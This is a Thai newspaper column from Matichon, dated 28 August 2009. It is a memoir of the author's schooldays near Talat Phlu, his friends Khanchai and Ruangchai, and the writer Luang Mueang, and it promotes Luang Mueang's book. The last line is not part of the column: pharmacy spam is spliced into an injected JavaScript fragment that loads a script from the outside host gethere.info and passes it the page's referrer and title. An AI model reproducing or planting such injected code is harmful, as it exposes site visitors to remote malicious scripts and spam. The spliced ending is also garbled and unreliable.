มติชนฉบับประจำวันที่ 28 สิงหาคม 2552 

เท็จจริงไม่ประจักษ์ พระพุทธเจ้าข้าเอย—แต่มีผู้เคยบอกว่า แม่พลอย ใน สี่แผ่นดิน ของ ม.ร.ว. คึกฤทธิ์ ปราโมช แต่งงานไปอยู่กับพ่อเปรม ที่บ้านในคลองบางหลวง ย่านตลาดพลูนี่แหละ

พอเรียนจบชั้นประถมจากวัดในดงศรีมหาโพธิ์ อ. ศรีมโหสถ จ. ปราจีนบุรี ผมเกาะชายจีวรพระเข้าไปเป็นลูกศิษย์อยู่วัดเทพธิดารามในกรุงเทพฯตั้งแต่ พ.ศ. 2497 มีคราวหนึ่งท่านพระครูฯต้องไปฉันเพลในคลองบางกอกใหญ่ เลยตลาดพลูเข้าไป ท่านให้ผมเป็นลูกศิษย์ถือสิ่งของตามพระนั่งรถเมล์แต่เช้าไปที่ตลาดพลู แล้วลงเรือจ้างที่ท่าน้ำเข้าไปตามคลองอีกนานก็ถึงบ้านเจ้าภาพที่เป็นพวกลิเกปี่พาทย์ออกวิทยุ

กว่าจะฉันเพลแล้วยถาสัพพีเสร็จก็บ่ายแล้ว ต้องถือของถวายดอกไม้ธูปเทียนพร้อมซองใส่ปัจจัย ลงเรือจ้างกลับท่าน้ำตลาดพลู แล้วต่อรถประจำทางกลับวัดเทพธิดาราม กว่าจะถึงก็เกือบเย็น

จำได้แค่นี้ อย่างอื่นจำไม่ได้แล้วว่านั่งเรือจ้างแจวเข้าไปในคลองถึงไหน? เพราะเป็นเรือกสวนทั้งนั้น มีแต่บ้านหันหน้าลงน้ำ มีบันไดท่าน้ำเกือบทุกแห่ง

ครั้นเรียนจบชั้นมัธยมปี่ที่ 6 จากโรงเรียนวัดมกุฏกษัตริย์ แล้วหาที่เรียนต่อมัธยม 7-8 ไม่ได้ เพราะคะแนนสอบไม่ถึงขั้นที่โรงเรียนดีๆจะรับเข้าเรียนต่อ ครูบาอาจารย์ผู้เวทนาแก่สัตว์ผู้ยากเลยฝากเข้าเรียนต่อที่โรงเรียนวัดนวลนรดิศ เลยตลาดพลูเข้าไปอีก ลงรถเมล์ที่ตลาดพลู แล้วเดินผ่านวัดขุนจันทร์ ข้ามคลองด่าน ผ่านวัดอัปสร ข้ามคลองภาษีเจริญ เข้าวัดนวลนรดิศทุกวัน

ที่โรงเรียนวัดนวลนรดิศในคลองบางกอกใหญ่นี่เอง ได้เพื่อนใหม่ร่วมชั้นเรียนชื่อ ช้าง-ขรรค์ชัย บุนปาน และ ปั๋ง-เรืองชัย ทรัพย์นิรันดร์

ท่านช้าง อยู่บางขุนเทียน ซึ่งผมไม่เคยได้ยินมาก่อนในชีวิตเด็กวัดดงศรีมหาโพธิ์ ส่วนท่านปั๋งอยู่ตลาดพลู รู้จักแล้วคราวมากับพระครูฯ

นานเข้าถึงรู้ว่าท่านปั๋งอยู่กับน้าชายที่ตลาดพลู แล้วอีกนานหลายปีถึงรู้เพิ่มขึ้นว่าน้าชายชื่อ สำราญ ทรัพย์นิรันดร์ เป็นนักเขียนใช้นามปากกา “หลวงเมือง” แต่ไม่รู้อะไรมากไปกว่านั้น ไม่รู้แม้กระทั่งว่านักเขียนทำงานอะไร? เขาเขียนอะไร? เขียนทำไม?

ผมไม่มีกมลสันดานฝ่ายดีที่อยากรู้อยากเห็นและอยากเป็นนักเขียนเลยแม้แต่น้อย นอกจากเดินตามก้นท่านช้างกับท่านปั๋งไปที่ต่างๆ เพราะตัวเองไม่รู้อะไร มาจากป่าดงพงไพรแท้ๆ ขอเพียงตามก้นเขาไปจะได้รู้อะไรๆเพิ่มขึ้น จนนานเข้า ทั้ง 2 คนก็พาผมไปกราบกรานน้าสำราญ หลวงเมือง จริงๆ

ต่อมา “หลวงเมือง”ที่เขียนหนังสือประวัติศาสตร์ท้องถิ่นเรื่องตลาดพลูจากความทรงจำท่านนี้เอง เป็นผู้เปิดช่องทางและพื้นที่ครั้งแรกสุด ตั้งแต่ พ.ศ. 2509 ให้ขรรค์ชัย, เรืองชัย, และผม ทำหนังสือรายเดือนที่ตัวท่านเองเป็นบรรณาธิการชื่อ ช่อฟ้า ของมูลนิธิอภิธรรมของวัดมหาธาตุฯ ขณะเดียวกันก็ได้อ่านงานนิพนธ์ของหลวงเมืองอย่างจริงๆจังๆ เป็นชิ้นเป็นอัน ถึงเริ่มรู้กลวิธีเขียนอารมณ์ขันอย่างสุภาษิตกะเหรี่ยง และแควกๆๆๆ

ช่อฟ้า รายเดือนนี่แหละ เปิดหู-ตาให้ผมรู้เห็นว่าโลกนี้ใหญ่โตกว้างขวางมหาศาลนัก แล้วเป็นต้นทางให้ผมทำหน้าที่บรรณาธิการวารสารวิชาการชื่อโบราณคดี (ของคณะโบราณคดี มหาวิทยาลัยศิลปากร) แทนหม่อมเจ้าสุภัทรดิศ ดิศกุล ที่ทรงเป็นบรรณาธิการ เมื่อราว พ.ศ. 2510 กระทั่งมีศิลปวัฒนธรรม รายเดือน เป็นปฐมฤกษ์ เมื่อ พ.ศ. 2522

ผมอยากเขียนถึงน้าราญอย่างนี้นานมากหลายปีมาแล้ว แต่ไม่มีวาระโอกาสให้เขียนได้เหมาะใจ เพราะเกี่ยวข้องกับตัวเองโดยตรง แล้วคิดว่าเรื่องของตัวเองมันไร้สาระสิ้นดี เขียนไปก็อับอายขายขี้หน้า และเปลืองเนื้อที่หน้ากระดาษ จึงรอเวลามานานมาก

Talat phlu-cov28-08-52

“ข้าพเจ้าเกิดที่ตึกแถวสองชั้นตลาดพลู— เป็นของกองรักษาที่หลวง พระคลังข้างที่ฯ หันหน้าไปทางทิศตะวันออก ฝาผนังที่ก่ออิฐถือปูนหนา 1 ฟุต—-” หลวงเมืองเขียนเล่าไว้ในหนังสือชื่อ ตลาดพลู สำนักพิมพ์มติชน พิม์รวมเล่มครั้งแรก พ.ศ. 2552 ขณะนี้กำลังวางตลาดแล้วทั่วประเทศ ราคาเล่มละ 140 บาท

order fluoxetine amoxicillin buy online usas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;